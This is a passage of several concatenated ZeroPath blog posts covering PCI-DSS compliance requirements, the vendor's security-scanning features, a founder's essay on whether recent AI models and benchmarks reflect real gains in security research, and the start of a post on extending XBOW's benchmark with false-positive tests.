Webhooks * SARIF, CSV exports * API In case of vulnerability detected in any of the PR or code scans, ZeroPath raises an issue or blocks the PR and assigns it to the developer who initially wrote that code, so that there is less need for manual management. ### Requirement 6.4: Follow Change Control Processes Teams confuse change control with proper documentation or detailed commit messages, but at its core, the goal is not to introduce vulnerabilities. ZeroPath customers navigate this by: * **Audit Logs**: Logging every scan, finding, and remediation, providing the documentation required for PCI audits. Teams can export these logs and other reports and use them during their compliance audits as proof of security. * **Break Glass Access**: For emergency deployments, authorized users can bypass failed security checks while maintaining full audit trails. * **Scan Cancellation and Logs**: Gain complete visibility into all security scans, including who initiated them, what they found, and how they resolved those issues. * **Team/Organization-based ACLs**: Granular access controls ensure separation of duties between development and production environments, with MSP support for managing multiple organizations. ### Requirement 6.5: Address Common Vulnerabilities ZeroPath's vulnerability detection addresses all major vulnerability classes required by PCI-DSS: * [**Integrated SCA with Reachability Analysis**](https://zeropath.com/products/sca): The platform not only lists vulnerable dependencies but also determines whether vulnerable code is actually reachable from user inputs. This eliminates false positives significantly and focuses remediation efforts on actual risks. * [**Secret Detection**](https://zeropath.com/products/secrets): Automatically finds hardcoded API keys, passwords, and credentials that could compromise payment systems. ZeroPath tests these secrets and only raises an issue when those secrets are live and functional. So, if your team is using some test cases, you don't need to worry about the false positives. * [**Infrastructure as Code (IaC) Scanning**](https://zeropath.com/products/iac): Ensures your cloud infrastructure configurations don't expose payment processing systems. * [**Source-to-Sink Visibility**](https://zeropath.com/products/sast): A full call graph of relationships shows exactly how user input can reach vulnerable code, which is essential for understanding complex payment flow vulnerabilities. ### Requirement 8: Identify Users and Authenticate Access You can meet more requirements than just the 6th with ZeroPath. It helps you ensure your authentication implementations are secure: * **Authentication Vulnerability Detection**: ZeroPath specifically looks for broken authentication patterns, including: * Missing MFA implementations * Weak session management * JWT misconfigurations * Authentication bypass vulnerabilities ZeroPath is also the only AppSec solution that can detect authentication issues and business logic flaws. **Custom Authentication Policies**: You can use natural language rules to enforce your specific authentication requirements, such as `all admin endpoints must use multi-factor authentication.` ### Requirement 11.3: Perform External and Internal Vulnerability Scanning By this point, you should understand why it's essential to perform continuous vulnerability scans rather than conducting them periodically. * **Scheduled Scans**: In some cases, teams might still want a complete periodic scan for safekeeping, and for that case, they can configure automatic scans on your preferred schedule. Teams can enable Auto AppSec mode simultaneously with PR scans that take place with every code push. * **Permissiveness Levels**: Adjust scanning sensitivity for different environments. You would ideally want stricter rules for production and more permissive rules for development. * **Intelligent Severity Scoring**: Using CVSS 4.0, ZeroPath provides accurate severity ratings that help prioritize remediation efforts. ZeroPath evaluates every vulnerability and assigns it a confidence score based on its severity and exploitability, allowing teams to prioritize patches. ### Requirement 12.8: Maintain Policies for Service Providers For organizations acting as service providers, reporting and management become a priority, and to ease their workload, ZeroPath can: * Reporting Capabilities: Generate repo, organization, or team-level analytics, including: * Mean time to remediation * Most common vulnerability classes by language and framework * Team performance metrics * Vulnerability trends over time * SBOM Generation: Export Software Bill of Materials for transparency with your customers about your security posture. * CWE Mapping: All vulnerabilities get mapped to the CWE standards for consistent reporting. * [Enterprise SSO Integration](https://zeropath.com/products/enterprise): Centralized authentication management ensures proper access control across all teams. ## Conclusion PCI-DSS compliance, especially the security aspect of it, doesn't really have to slow down development or require massive manual effort. You can choose [one of the AppSec platforms](https://zeropath.com/blog/top-ai-sast-tools) to automate a lot of it, from security and logging to monitoring. ZeroPath has helped numerous fintech and payment companies achieve PCI-DSS compliance. Using features such as the Business Logic Scanner, natural language rules, and automatic patch generation, you can ensure your payment systems remain secure without requiring active development hours and energy. The inbuilt language support, integrations, and detection capabilities make it an easy plug-and-play security and compliance solution. --- #### What is PCI DSS? 12 Requirements to be PCI DSS Compliant - **Date**: July 16, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: PCI compliance, PCI DSS compliance, PCI DSS 12 requirements, PCI DSS security standards, shifting left security, payment security, fintech compliance, credit card processing, application security, compliance requirements, PCI PTS, PCI 3DS, PCI P2PE - **URL**: https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant PCI DSS is a set of 12 requirements designed to protect cardholder data. It covers security, network, and application layers. To be compliant, businesses must implement these requirements, which include data encryption, firewalls, regular security audits and more. --- PCI DSS stands for Payment Card Industry Data Security Standard. It’s a set of security requirements designed to ensure that all companies that process, store, or transmit credit card information maintain a secure environment. PCI-DSS is one of the most famous standards under the "PCI Compliance" umbrella term. If you are curious and unsure which PCI standard applies to you, we have provided a detailed breakdown of all types of PCI compliance in our ["What is PCI Compliance?"](https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance) blog. ## Who needs PCI-DSS Compliance? Before we discuss the specifics of PCI-DSS, it's beneficial to understand how different players fit into this landscape and who bears the most compliance responsibilities. So, a PCI-DSS is required by any organization (no matter the size) that stores, processes, or transmits payment-card account data. This captures two broad populations. * **First are merchants**: the coffee shop with a single countertop terminal ([different PCI standards for day-to-day payment mediums like terminal machines](https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance)), the local e-commerce start-up accepting card payments through Shopify, and retailers such as Walmart or Amazon that operate an enormous volume of card data spanning online and brick-and-mortar sales. Visa, Mastercard, AMEX, Discover, and JCB classify all these merchants into four categories based on their transaction-volume “levels,” so even a sole proprietor who handles a handful of card payments a day is technically in scope, while a firm like Target, which processes millions of transactions a year faces heavier validation and annual on-site assessments. * **Second are service providers**: products that store, process, or transmit cardholder data on behalf of others. Payment gateways, such as Stripe, Adyen, or Square, are examples of this category, which handle card data for thousands of merchants. Also, note that the data center and managed-hosting companies, such as Equinix, call-center outsourcers that record card numbers for reservations (think Marriott’s reservation hotline run by a BPO), and even tokenization or fraud-scoring SaaS vendors are likewise considered service providers and must be PCI-DSS compliant if they ever touch the primary account number or related authentication data. Therefore, this way both categories get compliant. During the Home Depot’s self-managed point-of-sale network breach in 2014, the compromise exposed approximately fifty million card numbers; investigators later linked the initial intrusion to lax segmentation and password reuse, areas that the PCI-DSS clearly addresses in its core requirements. In 2020, the cloud service provider Jelly Bean received fines after investigators discovered that merchants using its web-checkout widget were unintentionally collecting raw magnetic-stripe data, placing every one of those merchants out of compliance, even though they had never seen the card numbers directly. ## Breakdown of PCI-DSS Compliance  ### Current Version: PCI DSS 4.0.1 - Released: March 31, 2022 (4.0), Updated June 2024 (4.0.1) - Mandatory Since: April 1, 2024 - PCI DSS 3.2.1 retired: March 31, 2024 - Future requirements become mandatory: March 31, 2025 (51 new requirements) ### The 12 Core Requirements To be PCI-DSS compliant, an organization must meet these 12 foundational requirements, which primarily ensure that data is collected, transmitted, and stored securely with proper implementation of software development practices. #### 1. Build and Maintain a Secure Network Firewalls create the first line of defense between trusted internal networks and the open internet, as well as within an organization, between the cardholder data environment (CDE) and the rest of the corporate network. If you are looking to be PCI-DSS compliant, start by drawing a simple diagram of every place your company’s systems touch the public internet and every internal segment that will ever see cardholder data. Anything inside the “cardholder-data environment” (CDE) must be protected by a firewall or cloud security group that blocks all traffic except that explicitly required by a payment function. #### 2. Eliminate default credentials and settings Every factory password, SNMP string, demo certificate, and open service must be changed or disabled before a system goes live. Walk through each router, switch, virtual machine image, SaaS admin panel, payment terminal, and development stack. Change or disable factory passwords, demo accounts, “admin/admin” logins, public SNMP strings, and self-signed test certificates before the device ever sees production traffic. If you maintain golden images in a CI/CD pipeline, bake these hardening steps into the pipeline so new servers launch in a secure state by default. #### 3. Encrypt or truncate stored card data Any primary account number (PAN), expiration date, or cardholder name that resides on disk, in database tables, or backups must be rendered unreadable through strong cryptography or irreversible hashing, with cryptographic keys stored and rotated under strict management. Once the authorization is complete, orgs should not retain any of the additional sensitive authentication data (full magnetic-stripe contents, CVC2/CVV2, PIN blocks). By ensuring that a compromised storage platform reveals nothing useful, this requirement significantly limits the financial value of a breach and the incentive to attack. #### 4. Encrypt card data in transit Whether data travels between a point-of-sale terminal and a payment processor, or between cloud microservices, the traffic must use up-to-date secure protocols (TLS 1.2+ or authenticated VPN tunnels), strong cipher suites, and properly validated certificates. Encryption in transit closes a common interception path: network sniffing, rogue access points, and man-in-the-middle attacks become ineffective because the attacker sees only ciphertext. #### 5. Remove malware on every vulnerable system PCI-DSS requires centrally managed, signature-based, and behavior-based anti-malware solutions on every workstation and server commonly targeted by malicious code, with continuous updates, alerting, and tamper protection. Deploy an endpoint-detection-and-response (EDR) agent to every workstation and server that can reach the CDE. Turn on real-time scanning, automatic signature updates, and tamper protection; forward alerts to a shared security inbox or SIEM. If you build container images, run malware scans in the CI pipeline, and block the build when high-severity detections appear. #### 6. Deploy and maintain secure systems and applications. [Zeropath is helping companies be more secure for PCI Compliance.](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance) As a company handling user-sensitive data, you must ensure that the software is secure from all types of vulnerabilities, including recent and previously disclosed ones. Track vendor security advisories, patch critical vulnerabilities within one month, follow secure coding practices, and perform code reviews either manually or scale it better with SAST tools like ZeroPath in the pipeline. We understand if this sounds like a lot of things to keep track of, and it is. Therefore, AI Native SAST tools like ZeroPath make security checks for PCI compliance easier for larger teams. ZeroPath runs periodic scans over the internal codebase and identifies vulnerabilities, such as authentication flaws and business logic issues, that other SAST tools still can't detect. If you're interested in learning how ZeroPath works, you can find a [detailed behind-the-scenes here](https://zeropath.com/blog/how-zeropath-works). #### 7. Access control policies: These policies must map every account, role, and privilege to a documented business justification, adhering to the principle of least privilege. The standard requires role-based access control, separation of duties, and formal authorization workflows. Limiting who can read, write, or query card data reduces the leakage significantly. Create role-based access control (RBAC) groups that reflect specific job duties, such as “Support-L1,” “DBA-Read,” and “Dev-No-Prod.” Nobody outside the Payment Operations team should be able to view full PANs, and no single person should be responsible for both approving and deploying code to production. Review group membership every quarter; use an identity-governance tool that automatically deactivates accounts after sixty days of inactivity. #### 8. Tie every action to a unique, MFA-protected identity Each person or automated process must use a unique ID, with multi-factor authentication for administrative and remote access. Strong password policies, account-lockout thresholds, and periodic credential rotation are mandatory. These unique identifiers help security teams reconstruct a breach timeline by knowing exactly which identity performed each action. MFA also helps prevent stolen-credential attacks that often target remote access services. #### 9. Restrict physical access to cardholder data Servers, point-of-sale devices, paper storage, and networking closets that contain the CDE must be located in monitored, access-controlled facilities with visitor logging and secure media handling procedures. Physical controls complement logical controls. If someone can walk off with an unencrypted backup tape or plug a hardware keylogger into a cash register, software defenses are not really of much use. #### 10. Collect and store tamper-proof logs Configure syslog or agent-based forwarding from every firewall, server, application, and database into a centralized SIEM. Retain logs for twelve months, keeping the most recent three months “hot” for immediate search. All this data will enable real-time alerting and post-incident analysis. #### 11. Regularly test security systems and processes For most companies, depending on their transaction volume, this could involve a scheduled quarterly to yearly external and internal vulnerability scan using an ASV-approved scanner. If you are actively looking for such scanners, here is a comprehensive list. Along with ASV scans, most companies also conduct a full annual pentest or whenever they launch a significant new payment flow. You can get a [full pentest from ZeroPath](https://zeropath.com/products/penetration-tests) itself, which is going to be faster, efficient, and much more cost-effective than other solutions out there. ZeroPath's average turnaround time for a pentest has consistently been less than a week. #### 12. Security in policy and governance Last but not least, a crucial point in this compliance is how we make decisions, how transparent they are, and how we share them within the team. Companies should have an information-security policy that clearly states who owns each control, outlines the process for reporting violations, and specifies how to handle incidents. Have senior leadership sign it, publish it on the company wiki, and train every employee on the parts that apply to their role. Maintain a third-party inventory listing of every vendor that handles card data, require them to prove their own PCI compliance annually, and include a right-to-audit clause in new contracts. Finally, companies should reach out to a Qualified Security Assessor (QSA) to perform a formal gap assessment and guide them toward the correct Self-Assessment Questionnaire (SAQ) or Report on Compliance (ROC) required for their merchant or service-provider level. ## Conclusion & Next Steps Many people and organizations read PCI DSS as a to-do list, but at its core, it's more about an engineering design discipline. Firewalls, encryption, and RBAC give card data a hardened perimeter, yet the system is only as strong as the code your team ships every day. Requirement 6, which is deploying and maintaining secure systems and applications, is one of the most crucial requirements in this process. Because software changes with every commit, this requirement isn't a one-time config but more like a continuous check, which in many teams needs to happen multiple times a day. That is precisely where a security platform, rather than a compliance cheatsheet, is required. ZeroPath’s platform addresses this by starting with its core [best-in-class, AI-native SAST engine](https://zeropath.com/products/sast). Following that, you also get to secure your software supply chain with [Software Composition Analysis (SCA)](https://zeropath.com/products/sca), prevent insecure configurations with [Infrastructure as Code (IaC) scanning](https://zeropath.com/products/iac), and even [detect and validate leaked secrets](https://zeropath.com/products/secrets) hidden deep within your codebase. That's one complete AI-native AppSec solution that meets and exceeds compliance needs. This continuous process begins on the first run, where ZeroPath indexes and scans your entire application. This could also be the first for your team to shift left. From that point on, security is embedded directly into the development lifecycle through automated [PR Reviews](https://zeropath.com/products/pr-reviews), ensuring developers can catch vulnerabilities before they are ever merged. For many common issues, ZeroPath can even [automatically fix security vulnerabilities](https://zeropath.com/products/sast-autofix) with AI-powered code remediation. While these might seem like building a lot of tooling infra, it really comes down to embedding these controls directly into the developer workflow through [CI/CD and tool integrations](https://zeropath.com/products/integrations) and automatically syncing findings with [AppSec Risk Management](https://zeropath.com/products/risk) tools like Jira, Linear, Asana, GitHub, GitLab, Azure DevOps and many more. ZeroPath makes Requirement 6 from an annual audit concern into a background service that takes care of itself autonomously. If PCI-DSS is on your roadmap and you need help meeting security requirements, the ZeroPath team is more than happy to help. Moreover, we also have a [detailed walkthrough of how you can achieve the security requirement for PCI-DSS with ZeroPath](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance). --- #### What is PCI Compliance? Does your business need PCI Compliance? - **Date**: July 15, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 5 minutes - **Keywords**: PCI compliance, PCI DSS, Payment Security, Fintech Compliance, Credit Card Processing, Application Security, Compliance Requirements, PCI PTS, PCI 3DS, PCI P2PE - **URL**: https://zeropath.com/blog/what-is-pci-compliance-does-your-business-need-pci-compliance PCI compliance refers to security standards protecting cardholder data during transactions. It includes standards like PCI DSS for handling card data, PCI PTS for payment terminals, and PCI 3DS for online fraud prevention. Businesses must determine their specific needs, like whether they store card information or use physical readers. --- If you are ever collecting your customers' card data or outsourcing that task to services like Stripe, PayPal, Square, etc, you have likely heard of PCI compliance. ## What is PCI Compliance? Payment Card Industry (PCI) compliance refers to a set of security standards that protect cardholder data at all stages of acceptance, processing, storage, and transmission. It’s not just one security standard but an umbrella term that includes: • **PCI DSS**: For any company storing, processing, or sending card data. If you accept cards, PCI DSS is the leading standard you need to follow. • **PCI PTS**: For manufacturers of payment terminals (like card readers). The hardware device you use to enter your PIN at a store (like a card reader) must be PCI PTS compliant. • **PCI PIN**: For businesses that process PIN transactions. If you handle customer PINs, you need to follow PCI PIN rules. • **PCI P2PE**: For anyone encrypting card data from the terminal to the payment processor. To ensure card data remains safe from end to end, use PCI P2PE. • **PCI 3DS**: For companies using 3D Secure to stop online fraud. If your site requires additional authentication when you make a payment, that’s PCI 3DS. Now, depending on what a company does, it might need to comply with different standards. The PCI Security Standards Council, comprising major credit card companies such as Visa, Mastercard, American Express, Discover, and JCB, has developed these standards. Not complying with them can result in hefty fines, increased transaction fees, or even the loss of the ability to process card payments. Some states, such as Nevada, have also incorporated PCI DSS into law, but for most, it remains a contractual obligation. **Note**: Most of the time, when people say “PCI compliance,” they’re [talking about PCI DSS](https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant), because that’s the standard that applies to most businesses. ## Does your company need PCI Compliance? Whether you need PCI compliance or not is dependent on various factors. * Does your company store the card information directly? Or outsource it to payment providers? * Does the company use a physical card reader in its stores? * Even though you may not see your customer’s card details, you may still need to follow PCI compliance standards to some extent. In practice, it looks something like this: 1. **Retail Chain**: Let’s say you’re building a payment system for a retail chain: * Your company must be PCI DSS compliant because you handle cardholder data. * The POS software you use must be PA-DSS compliant. * The card readers in your stores must be PCI PTS compliant. * If you use end-to-end encryption, you may also need to follow PCI P2PE guidelines. 2. **Online travel booking**: Now, let’s say you’re building a website like Expedia or MakeMyTrip, where users can book flights, hotels, and rental cars. * PCI DSS: Because you collect, process, and store cardholder data from customers booking travel online. * PA-DSS: The payment gateway must be PA-DSS compliant. If you use a third-party payment application (like a checkout widget or embedded payment form), that software must be PA-DSS compliant to ensure it handles card data securely. * PCI PTS: If you offer in-person bookings at airport kiosks, the card readers must be PCI PTS compliant. For customers who pay at a physical kiosk, the hardware used to read their cards must be compliant. * PCI P2PE: If you use point-to-point encryption for card data from the kiosk to your servers, you need PCI P2PE compliance. The compliance ensures the encryption of card data from the moment it's swiped at the kiosk until it reaches your payment processor. * PCI 3DS: If you support 3D Secure for online payments, you must be PCI 3DS compliant. When a customer is prompted for an OTP or biometric authentication while making an online payment, your system must handle that data per PCI 3DS standards. * PCI PIN: If you process PIN-based debit transactions at kiosks, you must be PCI PIN compliant. This covers the secure handling and encryption of PINs entered by customers. This might feel like a lot of work to get a simple end-to-end business running, and in fact, it is. However, in day-to-day operations, you use different providers and abstractions to simplify a lot of compliance work. For example, you can use a third-party payment processor (such as Stripe or PayPal), which shifts much of the PCI burden to them; however, you still need to ensure that your integration is secure. While there are numerous PCI compliance standards, the most standard one is PCI-DSS, which is required by almost every company dealing with payments in some form or another. If you're in the same boat, [here's our guidance on PCI-DSS and how you can achieve PCI-DSS compliance](https://zeropath.com/blog/what-is-pci-dss-12-requirements-to-be-pci-dss-compliant). ZeroPath also helps teams achieve PCI-DSS compliance security standards, and if it's something on your roadmap, it might be worth shifting security left in the SDLC from the very beginning and using [AI-native SAST like ZeroPath to simplify and automate your security](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance). --- #### On Recent AI Model Progress - **Date**: March 24, 2025 - **Authors**: Dean Valentine - **Reading Time**: 18 minutes - **Keywords**: Insights, Benchmarking, OpenAI, Anthropic - **URL**: https://zeropath.com/blog/on-recent-ai-model-progress Exploring the real-world effectiveness of AI advancements through our experiences building security-focused AI tools, with honest perspectives on capability gaps, benchmarking challenges, and practical applications. --- About nine months ago, I and three friends decided that AI had gotten good enough to monitor large codebases autonomously for security problems. We started a company around this, trying to leverage the latest AI models to create a tool that could replace at least a good chunk of the value of human pentesters. We have been working on this project since June 2024. Within the first three months of our company's existence, Claude 3.5 sonnet was released. Just by switching the portions of our service that ran on gpt-4o, our nascent internal benchmark results immediately started to get saturated. I remember being surprised at the time that our tooling not only seemed to make fewer basic mistakes, but also seemed to *qualitatively* improve in its written vulnerability descriptions and severity estimates. It was as if the models were better at inferring the intent and values behind our prompts, even from incomplete information. As it happens, there are ~basically no public benchmarks for security research. There are "[cybersecurity](https://arxiv.org/abs/2408.01605)" evals that ask models questions about isolated blocks of code, or "CTF" evals that give a model an explicit challenge description and shell access to a <1kLOC web application. But nothing that gets at the hard parts of application pentesting for LLMs, which are 1. Navigating a real repository of code too large to put in context, 2. Inferring a target application's security model, and 3. Understanding its implementation deeply enough to learn where that security model is broken. For these reasons I think the task of vulnerability identification serves as a good litmus test for how well LLMs are generalizing outside of the narrow software engineering domain. Since 3.5-sonnet, we have been monitoring AI model announcements, and trying pretty much every major new release that claims some sort of improvement. Unexpectedly by me, aside from a minor bump with 3.6 and an even smaller bump with 3.7, literally none of the new models we've tried have made a significant difference on either our internal benchmarks or in our developers' ability to find new bugs. This includes the new test-time OpenAI models. At first, I was nervous to report this publicly because I thought it might reflect badly on us as a team. Our scanner has improved a lot since August, but because of regular engineering, not model improvements. It could've been a problem with the architecture that we had designed, that we weren't getting more milage as the SWE-Bench scores went up. But in recent months I've spoken to other YC founders doing AI application startups and most of them have had the same anecdotal experiences: 1. o99-pro-ultra announced, 2. Benchmarks look good, 3. Evaluated performance mediocre. This is despite the fact that we work in different industries, on different problem sets. Sometimes the founder will apply a cope to the narrative ("We just don't have any PhD level questions to ask"), but the narrative is there. I have read the studies. I have seen the numbers. Maybe LLMs are becoming more fun to talk to, maybe they're performing better on controlled exams. But I would nevertheless like to submit, based off of internal benchmarks, and my own and colleagues' perceptions using these models, that whatever gains these companies are reporting to the public, they are not reflective of economic usefulness or generality. They are not reflective of my Lived Experience or the Lived Experience of my customers. In terms of being able to perform entirely new tasks, or larger proportions of users' intellectual labor, I don't think they have improved much since August. Depending on your perspective, this is good news! Both [for me personally](https://lukaspetersson.com/blog/2025/power-vertical/), as someone trying to make money leveraging LLM capabilities while they're too stupid to solve the whole problem, and for people worried that a quick transition to an AI-controlled economy would present moral hazards. At the same time, there's an argument that the disconnect in model scores and the reported experiences of highly attuned consumers is a bad sign. If the industry can't figure out how to measure even the *intellectual ability* of models now, while they are mostly confined to chatrooms, how the hell is it going to develop metrics for assessing the *impact* of AIs when they're doing things like managing companies or developing public policy? If we're running into the traps of Goodharting before we've even delegated the messy hard parts of public life to the machines, I would like to know why. Are the AI labs just cheating? ------------------------------ AI lab founders believe they are in a civilizational competition for control of the entire future lightcone, and will be made Dictator of the Universe if they succeed. Accusing these founders of engaging in fraud to further these purposes is quite reasonable. Even if you are starting with an unusually high opinion of tech moguls, you should not expect them to be honest sources on the performance of their own models in this race. There are very powerful short term incentives to exaggerate capabilities or selectively disclose favorable capabilities results, if you can get away with it. Investment is one, but attracting talent and winning the (psychologically impactful) prestige contests is probably just as big a motivator. And there is essentially no legal accountability compelling labs to be transparent or truthful about benchmark results, because nobody has ever been sued or convicted of fraud for training on a test dataset and then reporting that performance to the public. If you tried, any such lab could still claim to be telling the truth in a very narrow sense because the model "really does achieve that performance on that benchmark". And if first-order tuning on important metrics could be considered fraud in a technical sense, then there are a million other ways for the team responsible for juking the stats to be slightly more indirect about it. In the first draft of this essay, I followed the above paragraph up with a statement like "That being said, it's impossible for all of the gains to be from cheating, because some benchmarks have holdout datasets." There are some recent private benchmarks such as SEAL that seem to be [showing improvements](https://scale.com/leaderboard)[^1]. But every single benchmark that OpenAI and Anthropic have accompanied their releases with has had a test dataset publicly available. The only exception I could come up with was the [ARC-AGI](https://arcprize.org/2024-results) prize, whose highest score on the "semi-private" eval was achieved by o3, but which nevertheless has not done a publicized evaluation of either Claude 3.7 Sonnet, or DeepSeek, or o3-mini. And on o3 proper: ![](https://39669.cdn.cke-cs.com/rQvD3VnunXZu34m86e5f/images/43bf5de3c75620984bb612bcdb23beb3cc0fe2034b4f7ed9.png) So maybe there's no mystery: The AI lab companies are lying, and when they improve benchmark results it's because they have seen the answers before and are writing them down. In a sense this would be the most fortunate answer, because it would imply that we're not actually that bad at measuring AGI performance; we're just facing human-initiated fraud. Fraud is a problem with people and not an indication of underlying technical difficulties. I'm guessing this is true in part but not in whole. Are the benchmarks not tracking usefulness? ------------------------------------------- Suppose the only thing you know about a human being is that they scored 160 on Raven's progressive matrices (an IQ test)[^2]. There are some inferences you can make about that person: for example, higher scores on RPM are correlated with generally positive life outcomes like higher career earnings, better health, and not going to prison. You can make these inferences partly because in the test population, scores on the Raven's progressive matrices test are informative about humans' intellectual abilities on [related tasks](https://en.wikipedia.org/wiki/G_factor_(psychometrics)). Ability to complete a standard IQ test and get a good score gives you information about not just the person's "test-taking" ability, but about how well the person performs in their job, whether or not the person makes good health decisions, whether their mental health is strong, and so on. Critically, these correlations did not have to be *robust* in order for the Raven's test to become a useful diagnostic tool. Patients don't *train* for IQ tests, and further, the human brain was not *deliberately designed* to achieve a high score on tests like RPM. Our high performance on tests like these (relative to other species) was something that happened incidentally over the last 50,000 years, as evolution was indirectly tuning us to track animals, irrigate crops, and win wars. This is one of those observations that feels too obvious to make, but: with a few notable exceptions, almost all of our benchmarks have the look and feel of standardized tests. By that I mean each one is a series of academic puzzles or software engineering challenges, each challenge of which you can digest and then solve in less than a few hundred tokens. Maybe that's just because these tests are quicker to evaluate, but it's as if people have taken for granted that an AI model that can get an IMO gold medal is gonna have the same capabilities as Terence Tao. "Humanity's Last Exam" is thus not a test of a model's ability to finish Upwork tasks, or complete video games, or organize military campaigns, it's a free response quiz. I can't do any of the Humanity's Last Exam test questions, but I'd be [willing to bet today](https://manifold.markets/MilfordHammerschmidt/will-the-first-ai-model-that-satura) that the first model that saturates HLE will still be unemployable as a software engineer. HLE and benchmarks like it are cool, but they fail to test the major deficits of language models, like how they can only remember things by writing them down onto a scratchpad like the memento guy. [Claude Plays Pokemon](https://arstechnica.com/ai/2025/03/why-anthropics-claude-still-hasnt-beaten-pokemon/) is an overused example, because video games involve a synthesis of a lot of human-specific capabilities, but the task fits as one where you need to occasionally recall things you learned thirty minutes ago. The results are unsurprisingly bad. Personally, when I want to get a sense of capability improvements in the future, I'm going to be looking almost exclusively at benchmarks like Claude Plays Pokemon. I'll still check out the [SEAL leaderboard](https://scale.com/leaderboard) to see what it's saying, but the deciding factor for my AI timelines will be my personal experiences in Cursor, and how well LLMs are handling long running tasks similar to what you would be asking an employee. Everything else is too much noise. Are the models smart, but bottlenecked on alignment? ---------------------------------------------------- Let me give you a bit of background on our business before I make this next point. As I mentioned, my company uses these models to scan software codebases for security problems. Humans who work on this particular problem domain (maintaining the security of shipped software) are called AppSec engineers. As it happens, most AppSec engineers at large corporations have a *lot* of code to secure. They are desperately overworked. The question the typical engineer has to answer is not "how do I make sure this app doesn't have vulnerabilities" but "how do I manage, sift through, and resolve the overwhelming amount of security issues already live in our 8000 product lines". If they receive an alert, they want it to be affecting an active, ideally-internet-reachable production service. Anything less than that means either too many results to review, or the security team wasting limited political capital to ask developers to fix problems that might not even have impact. So naturally, we try to build our app so that it only reports problems affecting an active, ideally-internet-reachable production service. However, if you merely *explain* these constraints to the chat models, they'll follow your instructions sporadically. For example, if you tell them to inspect a piece of code for security issues, they're inclined to respond *as if* you were a developer who had just asked about that code in the ChatGPT UI, and so will speculate about code smells or near misses. Even if you provide a full, written description of the circumstances I just outlined, pretty much every public model will ignore your circumstances and report unexploitable concatenations into SQL queries as "dangerous". It's not that the AI model thinks that it's following your instructions and isn't. The LLM will actually say, in the naive application, that what it's reporting is a "potential" problem and that it might not be validated. I think what's going on is that large language models are trained to "sound smart" in a live conversation with users, and so they prefer to highlight possible problems instead of confirming that the code looks fine, [just like human beings do when they want to sound smart](https://www.lesswrong.com/posts/xsB3dDg5ubqnT7nsn/poc-or-or-gtfo-culture-as-partial-antidote-to-alignment). Every LLM wrapper startup runs into constraints like this. When you're a person interacting with a chat model directly, sycophancy and sophistry are a minor nuisance, or maybe even adaptive. When you're a team trying to compose these models into larger systems (something necessary because of the aforementioned memory issue), wanting-to-look-good cascades into breaking problems. Smarter models might solve this, but they also might make the problem harder to detect, especially as the systems they replace become more complicated and harder to verify the outputs of. There will be many different ways to overcome these flaws. It's entirely possible that we fail to solve the core problem before someone comes up with a way to fix the outer manifestations of the issue. I think doing so would be a mistake. These machines will soon become the beating hearts of the society in which we live. The social and political structures they create as they compose and interact with each other will define everything we see around us. It's important that they be as virtuous as we can make them. * * * 1. Though even this is not as strong as it seems on first glance. If you click through, you can see that most of the models listed in the Top 10 for everything except the tool use benchmarks were evaluated after the benchmark was released. And both of the Agentic Tool Use benchmarks (which do not suffer this problem) show curiously small improvements in the last 8 months. 2. Not that they told you they scored that, in which case it might be the most impressive thing about them, but that they did. --- #### Towards Actual SAST Benchmarks - **Date**: November 13, 2024 - **Authors**: ZeroPath Team - **Reading Time**: 7 minutes - **Keywords**: SAST, Benchmarking, Insights, AI - **URL**: https://zeropath.com/blog/toward-actual-benchmarks ZeroPath enhances XBOW's open-source security benchmarks by removing AI-favoring hints, adding false positive testing, and creating a more realistic evaluation framework for comparing modern security scanning tools. --- In theory, code scanning tools and dynamic testing tools should have eliminated much of the OWASP top 10 years ago. In practice, static analysis of arbitrary applications are difficult, there are a lot of vendors of widely varying quality and many of these vendors gatekeep their product behind a 100k contract sizes. The best way to prove that a scanner works well is by finding [active vulnerabilities in popular software](https://zeropath.com/blog/0day-discoveries). After all, if your "AI" isn't effective or reliable enough to find problems in current applications, why should the security community care? That said, benchmarks are still useful, because with numbers, you can quantify differences between vendors and track their improvement or regression over time. There have been several attempts at benchmarking bugfinding programs. However, before the advent of LLMs, projects like [the OWASP benchmark](https://github.com/OWASP-Benchmark/BenchmarkJava) were aimed towards testing specific abilities like correct control flow analysis instead of a broader capability to find security problems in realistic applications. It was simply not expected in 2015 that security tools would be able to differentiate test code from production code read comments and identifiers, understand auth, or infer deployment details of an application from things like Dockerfiles. Yet nowadays, they can, which is why the ZeroPath team was excited to see that XBOW open-sourced their DAST benchmarks [here](https://github.com/xbow-engineering/validation-benchmarks). As the README claims, "Several external contractors were engaged in [their] development... with the intention of mirroring the variety of vulnerability classes typically encountered by our security team during their routine pen testing/bug bounty engagements." [We were so excited we decided to fork it so that we could test major SAST vendors](https://github.com/ZeroPathAI/validation-benchmarks)! The good news is that we did very well, for a breakdown on the stats check out our [blog post](https://zeropath.com/blog/benchmarking-zeropath). ## First: What was the XBOW Benchmark? The original XBOW benchmark is a set of 104 toy applications, generally written in Python and PHP. Each of these apps includes at least one security problem. The applications are written in such a way that exploiting them presents a flag, like a CTF challenge; to confirm that the AI has exploited the challenge, it passes that flag back to the overseer, and the overseer marks that challenge as completed if the flag is correct. XBOW also apparently compared their tool's performance on the benchmark with [real-world](https://xbow.com/blog/xbow-vs-humans/) performance by humans, and matched or exceeded the performance of real people. So there's no doubt that XBow has created a remarkable tool. Security problems in the XBOW benchmark even include standard issues like command injection and XSS, as well as business logic problems like IDOR. The last part is nice because auth and business logic issues are common finds in actual security assessments but haven't been built into any benchmarks until now. ## Adding False Positives So why fork it? Well, first, the XBOW benchmark only reports one summary statistic: the percentage of challenges finished. As anyone who's used a SAST offering knows, the primary problem with most application security scanners is not that they report nothing, it's that they report lots of incorrect findings or findings of no actual significance. If you're not a CISO or an Appsec engineer, this problem might sound trivial. But most code does not contain security flaws, and so much like a test for a rare disease, a tool that invalidates 99% of potential issues will still mostly report garbage when run against a new, large codebase. So, in a sense, designing security benchmarks the way XBOW did - such that the findings it reports are unambiguous - sidesteps a key part of the problem, 